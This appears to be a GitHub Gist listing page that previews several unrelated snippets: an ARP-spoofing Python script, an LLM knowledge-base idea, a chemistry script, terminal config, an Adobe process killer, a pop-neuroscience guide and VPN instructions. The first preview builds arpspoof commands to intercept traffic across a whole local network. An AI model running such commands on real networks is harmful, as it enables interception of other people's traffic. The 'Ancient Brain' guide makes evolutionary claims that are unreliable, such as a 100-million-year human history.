Skip to content

Instantly share code, notes, and snippets.

@frknozr
frknozr / arpspoof.py
Created January 3, 2016 11:57
arp spoofing whole network
# -*- coding: cp1254 -*-
from multiprocessing import Pool
from math import sqrt, floor
import os
def proc(ip):
modem="192.168.1.1"
print ip + " spoofing"
com1="arpspoof -i eth0 -t "+ip+" "+modem+" > log1"
com2="arpspoof -i eth0 -t "+modem+" "+ip+" > log2"

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

@mretegan
mretegan / mep.py
Last active May 14, 2026 13:04
Create a .cube file of the molecular electrostatic potential using ORCA.
"""
(c) 2013, 2019, 2022 Marius Retegan
License: BSD-2-Clause
Description: Create a .cube file of the molecular electrostatic
potential (MEP) using ORCA.
Run: python mep.py basename npoints nprocs (e.g. python mep.py water 40 2).
Arguments: basename - file name without the extension;
this should be the same for the .gbw and .scfp.
npoints - number of grid points per side
(80 should be fine)
# ============================================
# Ghostty Terminal - Complete Configuration
# ============================================
# File: ~/.config/ghostty/config
# Reload: Cmd+Shift+, (macOS)
# View options: ghostty +show-config --default --docs
# --- Typography ---
font-family = "Maple Mono NF CN"
font-size = 14
@dominicstop
dominicstop / kill_adobe.command
Last active May 14, 2026 12:59
Force Kill/Terminate All Adobe-Related Process and Apps in MacOS
declare -a adobeProcessList=('AdobeCRDaemon' 'AdobeIPCBroker' 'com.adobe.acc.installer.v2' 'CCXProcess.app' 'CCLibrary.app' 'Adobe CEF Helper' 'Core Sync' 'Creative Cloud Helper' 'Adobe Desktop Service' 'Creative Cloud');
for processName in "${adobeProcessList[@]}"; do
pgrep -f "$(echo $processName)" > /dev/null;
if [ $? -ne 0 ]; then
echo "process not running, skipping: ${processName}";
continue;
fi;

The Ancient Brain: How to Think Like Your Ancestors Felt for 100 Million Years

A neuroscience-backed guide to accessing the cognitive states that dominated human experience for the vast majority of our evolutionary history.


Introduction: You Are Not Who You Think You Are

Your brain is a living fossil record. Nestled beneath your prefrontal cortex — the wrinkled outer layer responsible for spreadsheets and small talk — lies a series of neural structures that are functionally identical to those in reptiles, early mammals, and our Paleolithic ancestors. For over 99.99% of human evolutionary history, these ancient structures were the whole show. Abstract reasoning, internal monologue, existential dread? Those are recent additions — evolutionary afterthoughts layered on top of a system that worked perfectly well for hundreds of millions of years.

@kksudo
kksudo / vpn-instructions.md
Last active May 14, 2026 12:52
Настраиваем подключение к впн Устанавливайте только Stable версии приложений!

Настраиваем подключение к VPN

Используйте только Stable-версии приложений!

Кратко

Установите приложение для вашего устройства, импортируйте ключ (или отсканируйте QR-код) и включите подключение. Ключ или ссылку на подписку вы получаете от администратора — сами приложения лишь подключаются к серверу по этому ключу.

Для кого эта страница: шаги рассчитаны на человека без опыта настройки сетей. Непонятные слова по ходу текста поясняются.